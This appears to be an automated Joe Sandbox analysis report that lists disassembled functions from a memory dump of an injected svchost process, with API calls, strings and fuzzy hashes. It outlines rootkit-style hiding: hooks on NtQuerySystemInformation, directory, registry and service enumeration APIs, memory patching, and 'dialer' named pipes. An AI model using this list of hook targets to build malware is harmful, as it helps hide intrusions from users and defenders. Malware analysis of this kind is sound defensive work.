RegQueryInfoKeyW.ADVAPI32 ref: 000001F28A041319
GetProcessHeap.KERNEL32 ref: 000001F28A041327
HeapAlloc.KERNEL32 ref: 000001F28A041338
RegEnumValueW.ADVAPI32 ref: 000001F28A041397

Part of subcall function 000001F28A04152C: StrCmpIW.SHLWAPI ref: 000001F28A04155D

GetProcessHeap.KERNEL32 ref: 000001F28A0413DF
HeapAlloc.KERNEL32 ref: 000001F28A0413ED
GetProcessHeap.KERNEL32 ref: 000001F28A04140A
HeapFree.KERNEL32 ref: 000001F28A041418
lstrlenW.KERNEL32 ref: 000001F28A041421
GetProcessHeap.KERNEL32 ref: 000001F28A04142F
HeapAlloc.KERNEL32 ref: 000001F28A04143D
StrCpyW.SHLWAPI ref: 000001F28A04145F
GetProcessHeap.KERNEL32 ref: 000001F28A041476
HeapFree.KERNEL32 ref: 000001F28A041484

Strings

d, xrefs: 000001F28A04135A

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: ce4b275a3e519368670eb641beea245da05b03ef63800e1e1c2cb1f8a40ca1b5
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 29513B36A05B8696EB54CF62E5483AA77E1F789FD9F488134DA4A17B58DF3CC049CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A041D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001F28A041D1F

Part of subcall function 000001F28A041FD4: GetModuleHandleA.KERNEL32 ref: 000001F28A041FEC
Part of subcall function 000001F28A041FD4: GetProcAddress.KERNEL32 ref: 000001F28A041FFD

Part of subcall function 000001F28A045B30: GetCurrentThreadId.KERNEL32 ref: 000001F28A045B6B

Strings

EnumServicesStatusExW, xrefs: 000001F28A041E11, 000001F28A041E32
NtDeviceIoControlFile, xrefs: 000001F28A041E56
NtQuerySystemInformation, xrefs: 000001F28A041D45
NtQueryDirectoryFile, xrefs: 000001F28A041D7F
NtEnumerateKey, xrefs: 000001F28A041DB9
sechost.dll, xrefs: 000001F28A041E39
NtResumeThread, xrefs: 000001F28A041D62
NtQueryDirectoryFileEx, xrefs: 000001F28A041D9C
EnumServiceGroupW, xrefs: 000001F28A041DF0
ntdll.dll, xrefs: 000001F28A041D2D
NtEnumerateValueKey, xrefs: 000001F28A041DD6
advapi32.dll, xrefs: 000001F28A041DF7, 000001F28A041E18

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 56e518d104b6fc4840e539ab14bcf5a4c4b94ad7003f197bd7af8e71a07a4864
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 5A318174602A4BB1FB04EF69E8517F423A1BB083D9F809033D84A12566AE38869ACF50

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A016910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001F28A016938
__scrt_acquire_startup_lock.LIBCMT ref: 000001F28A01698A
_RTC_Initialize.LIBCMT ref: 000001F28A0169B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001F28A0169DE
__scrt_release_startup_lock.LIBCMT ref: 000001F28A016A09

Strings

`dynamic initializer for ', xrefs: 000001F28A0169C7
`eh vector vbase copy constructor iterator', xrefs: 000001F28A0169EE
`eh vector copy constructor iterator', xrefs: 000001F28A016A3B
scriptor', xrefs: 000001F28A016B39, 000001F28A016BB2, 000001F28A016BEC

Memory Dump Source

Source File: 00000004.00000002.3612269784.000001F28A010000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001F28A010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a010000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 8cb9a352f31c87c115c6a08f6d2fc983d3737e3106bed0b0cab5f75d8e8cd039
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 2A81D131B05343AAFB52AB65AC913F922E0EB857C0F588535EA4947797EF3CC8468F00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A04CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000001F28A04CE37
FlsGetValue.KERNEL32(?,?,?,000001F28A050A6B,?,?,?,000001F28A05045C,?,?,?,000001F28A04C84F), ref: 000001F28A04CE4C
FlsSetValue.KERNEL32(?,?,?,000001F28A050A6B,?,?,?,000001F28A05045C,?,?,?,000001F28A04C84F), ref: 000001F28A04CE6D
FlsSetValue.KERNEL32(?,?,?,000001F28A050A6B,?,?,?,000001F28A05045C,?,?,?,000001F28A04C84F), ref: 000001F28A04CE9A
FlsSetValue.KERNEL32(?,?,?,000001F28A050A6B,?,?,?,000001F28A05045C,?,?,?,000001F28A04C84F), ref: 000001F28A04CEAB
FlsSetValue.KERNEL32(?,?,?,000001F28A050A6B,?,?,?,000001F28A05045C,?,?,?,000001F28A04C84F), ref: 000001F28A04CEBC
SetLastError.KERNEL32 ref: 000001F28A04CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001F28A050A6B,?,?,?,000001F28A05045C,?,?,?,000001F28A04C84F), ref: 000001F28A04CF0D
FlsSetValue.KERNEL32(?,?,00000001,000001F28A04ECCC,?,?,?,?,000001F28A04BF9F,?,?,?,?,?,000001F28A047AB0), ref: 000001F28A04CF2C

Part of subcall function 000001F28A04D6CC: HeapAlloc.KERNEL32 ref: 000001F28A04D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F28A050A6B,?,?,?,000001F28A05045C,?,?,?,000001F28A04C84F), ref: 000001F28A04CF54

Part of subcall function 000001F28A04D744: HeapFree.KERNEL32 ref: 000001F28A04D75A
Part of subcall function 000001F28A04D744: GetLastError.KERNEL32 ref: 000001F28A04D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F28A050A6B,?,?,?,000001F28A05045C,?,?,?,000001F28A04C84F), ref: 000001F28A04CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001F28A050A6B,?,?,?,000001F28A05045C,?,?,?,000001F28A04C84F), ref: 000001F28A04CF76

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 82bdf324c8f625488747e9ebd2c0ce28ffee8d3d747af44127512de69f9fb0c8
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 9E41393024324766FA68A77655553FA22C27B84BFCF148738EA36477E7EE7884118F02

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A042244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001F28A042259
GetCurrentProcessId.KERNEL32 ref: 000001F28A042263

Part of subcall function 000001F28A041934: OpenProcess.KERNEL32 ref: 000001F28A041952
Part of subcall function 000001F28A041934: IsWow64Process.KERNEL32 ref: 000001F28A041968
Part of subcall function 000001F28A041934: CloseHandle.KERNEL32 ref: 000001F28A041983

CreateFileW.KERNEL32 ref: 000001F28A0422BC
WriteFile.KERNEL32 ref: 000001F28A0422E4
ReadFile.KERNEL32 ref: 000001F28A042303
CloseHandle.KERNEL32 ref: 000001F28A04230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 000001F28A042293
\\.\pipe\dialerchildproc64, xrefs: 000001F28A04228C

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 656cacdcf83600b694d5997ca4c8c1d341b953f54dc3c8aac8a80c39e77412db
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 2A213A36A14B4292EB10CB25E4443AA67E0F789BE9F544225EA5903AA8CF3CC149CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A019944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001F28A0199A1

Part of subcall function 000001F28A01A814: __GetUnwindTryBlock.LIBCMT ref: 000001F28A01A857
Part of subcall function 000001F28A01A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001F28A01A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001F28A019A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001F28A019CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001F28A019DDA

Strings

csm, xrefs: 000001F28A019A9C
csm, xrefs: 000001F28A0199BB
csm, xrefs: 000001F28A019A22

Memory Dump Source

Source File: 00000004.00000002.3612269784.000001F28A010000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001F28A010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a010000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 5a10dad43b3f7039d8562b1dca765d6990f658072368d77462d2f59a589f5866
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 55E17972604B83AAEB609FA5D4803ED7BE0F745BD8F500526EE8957B9ACF34C595CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A04A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001F28A04A5A1

Part of subcall function 000001F28A04B414: __GetUnwindTryBlock.LIBCMT ref: 000001F28A04B457
Part of subcall function 000001F28A04B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001F28A04B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001F28A04A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001F28A04A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001F28A04A9DA

Strings

csm, xrefs: 000001F28A04A622
csm, xrefs: 000001F28A04A69C
csm, xrefs: 000001F28A04A5BB

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: e968e1f774a518c1ba2bc3143856256c9feaebf137d0cfccd4ffb591007f091c
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: EFE16B7260AB82AAFB609F6594803ED77E4F7457DCF108126EE8957B9ACF34C491CB04

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A04F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000001F28A04F510
GetProcAddress.KERNEL32 ref: 000001F28A04F51C

Strings

ext-ms-, xrefs: 000001F28A04F46D
api-ms-, xrefs: 000001F28A04F45A

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: ce775f156198395478f7ecd0b8ad950eaa2e5e63ba9bb0ea7f5e3a902b998efb
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: F341D232712A03B1FA56CB66A8047F623D1B789BE8F19C535DD0A97785EE7CC4458B10

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A04D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001F28A04C7DE,?,?,?,?,?,?,?,?,000001F28A04CF9D,?,?,00000001), ref: 000001F28A04D087
FlsSetValue.KERNEL32(?,?,?,000001F28A04C7DE,?,?,?,?,?,?,?,?,000001F28A04CF9D,?,?,00000001), ref: 000001F28A04D0A6
FlsSetValue.KERNEL32(?,?,?,000001F28A04C7DE,?,?,?,?,?,?,?,?,000001F28A04CF9D,?,?,00000001), ref: 000001F28A04D0CE
FlsSetValue.KERNEL32(?,?,?,000001F28A04C7DE,?,?,?,?,?,?,?,?,000001F28A04CF9D,?,?,00000001), ref: 000001F28A04D0DF
FlsSetValue.KERNEL32(?,?,?,000001F28A04C7DE,?,?,?,?,?,?,?,?,000001F28A04CF9D,?,?,00000001), ref: 000001F28A04D0F0

Strings

1%, xrefs: 000001F28A04D0CE
Y%, xrefs: 000001F28A04D0A6

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 3bede4d017c40e211e74ab8793a60f1909018e0b85f7fd967ad40bfbcca29809
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 75114C7070624B65FA68A76559513FA61C17B447F8F148378E929477EADE78C4028F00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A047510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001F28A047538
__scrt_acquire_startup_lock.LIBCMT ref: 000001F28A04758A
_RTC_Initialize.LIBCMT ref: 000001F28A0475B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001F28A0475DE
__scrt_release_startup_lock.LIBCMT ref: 000001F28A047609

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 26760dca5aee30369e50a8115c69705a9ff557afc4573f31f1d9777720bcb9b7
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 4D81D370A02743AAFB54AB6994413F923D1BB857CCF58C439EA0897797DF38C9458F00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A049DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001F28A049E49
GetLastError.KERNEL32 ref: 000001F28A049E57
LoadLibraryExW.KERNEL32 ref: 000001F28A049E81
FreeLibrary.KERNEL32 ref: 000001F28A049EC7
GetProcAddress.KERNEL32 ref: 000001F28A049ED3

Strings

api-ms-, xrefs: 000001F28A049E69

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: cf485724233a5e3b5bc16c53d2e708a90744aba0ad533ddba81aa4349fed85d6
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 8A319E31213A43B1EE62DB83A8107F522D4B748BE8F598935DD2E2B795EF39C4858B00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A053DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001F28A053DE5
GetLastError.KERNEL32 ref: 000001F28A053DF1
CloseHandle.KERNEL32 ref: 000001F28A053E09
CreateFileW.KERNEL32 ref: 000001F28A053E34
WriteConsoleW.KERNEL32 ref: 000001F28A053E53

Strings

CONOUT$, xrefs: 000001F28A053E15

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 9516f04b1871981701696c41f3eeef4383bdad43f88631690619ec8ad2f7d5b4
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 93118F31B10B4396E7508B56F8543BA76E0F788FE9F084234EA5A977A5CF78C9148B44

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A043790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001F28A04379E
GetCurrentProcess.KERNEL32 ref: 000001F28A0437CC
VirtualProtectEx.KERNEL32 ref: 000001F28A0437EE
GetCurrentProcess.KERNEL32 ref: 000001F28A043809
VirtualProtectEx.KERNEL32 ref: 000001F28A04382A

Strings

wr, xrefs: 000001F28A0437FF

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 74d73add1f3987555b20c77b93398ccd37d5819a176d6e6e9a8376f205a8707b
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 5011393AB05B4392EF549B21E4083BAA2E0FB88BD9F485439DE8907794EF3DC545CB04

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A045B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001F28A045B6B
GetThreadContext.KERNEL32 ref: 000001F28A045CD5

Part of subcall function 000001F28A045960: GetCurrentThreadId.KERNEL32 ref: 000001F28A045964

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: a0a8480e1f0a23f963de51496efe857e48f04a0aa485bbca31cd83e98ff31cf2
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 3CD19C76205B8A96DA709B4AE4903AA77E0F7C8BC8F105126EACD47BA5CF3CC551CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A042F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F28A042F27
HeapAlloc.KERNEL32 ref: 000001F28A042F3A
StrCmpNIW.SHLWAPI ref: 000001F28A042FAF
GetProcessHeap.KERNEL32 ref: 000001F28A043015
HeapFree.KERNEL32 ref: 000001F28A043023

Strings

dialer, xrefs: 000001F28A042FA8

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: dc0a490c0bb0f81b9bc7868179370f1241e07a68a928be331ac6def732a323d3
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 0B314A32702B57A2EB55DF16E5407B967E0FB48BC8F488134DE4847B56EF34D4A18B40

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A0414A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001F28A0414C5
HeapFree.KERNEL32 ref: 000001F28A0414D4
GetProcessHeap.KERNEL32 ref: 000001F28A0414E1
HeapFree.KERNEL32 ref: 000001F28A0414F0
GetProcessHeap.KERNEL32 ref: 000001F28A041500

Strings

C:\Windows\System32\svchost.exe, xrefs: 000001F28A0561A9, 000001F28A0561B1

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID: C:\Windows\System32\svchost.exe
API String ID: 3168794593-3822071397
Opcode ID: 5f1dcf0d6982f64b78ee420bc41fcee6693c0fdf65c097574d0a291fc3cf39dd
Instruction ID: 7b2007786b8e460b5619866e1bd1f3d06a457a48499f5e3238269ed7f93cb977
Opcode Fuzzy Hash: 5f1dcf0d6982f64b78ee420bc41fcee6693c0fdf65c097574d0a291fc3cf39dd
Instruction Fuzzy Hash: F1316DB7D49AC7AAF3518BB598653B92BE0F789FC1F0D8035DA8423647EE3588048B44

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A04CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001F28A04CFAF
FlsSetValue.KERNEL32(?,?,?,000001F28A04D6B5,?,?,?,?,000001F28A04D778), ref: 000001F28A04CFE5
FlsSetValue.KERNEL32(?,?,?,000001F28A04D6B5,?,?,?,?,000001F28A04D778), ref: 000001F28A04D012
FlsSetValue.KERNEL32(?,?,?,000001F28A04D6B5,?,?,?,?,000001F28A04D778), ref: 000001F28A04D023
FlsSetValue.KERNEL32(?,?,?,000001F28A04D6B5,?,?,?,?,000001F28A04D778), ref: 000001F28A04D034
SetLastError.KERNEL32 ref: 000001F28A04D04F

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 9a3b840efcda1e7db93577626eb1b458faec38b6ac035d840a373b3d1de39f8b
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 78117C3034628762FA64A73596453FA22C27B84BFCF148738E936477EBDEB884118F00

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A04199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001F28A0419C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001F28A0419E0
PathFindFileNameW.SHLWAPI ref: 000001F28A0419EF
lstrlenW.KERNEL32 ref: 000001F28A0419FB
StrCpyW.SHLWAPI ref: 000001F28A041A0E
CloseHandle.KERNEL32 ref: 000001F28A041A1C

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 055838f8b3643913c36cabf8b6327b8892d5bb23e43e772f23c9291743d5a066
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 24012931B01B82A2EB54DB52E8587AA63E5F788BC5F888035DE4A53755DF3CC989CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000001F28A0436C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001F28A0436E4
GetCurrentProcess.KERNEL32 ref: 000001F28A0436F2
VirtualProtectEx.KERNEL32 ref: 000001F28A043714
GetCurrentProcess.KERNEL32 ref: 000001F28A043732
VirtualProtectEx.KERNEL32 ref: 000001F28A043753
TerminateThread.KERNEL32 ref: 000001F28A043762

Memory Dump Source

Source File: 00000004.00000002.3612345216.000001F28A040000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001F28A040000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1f28a040000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
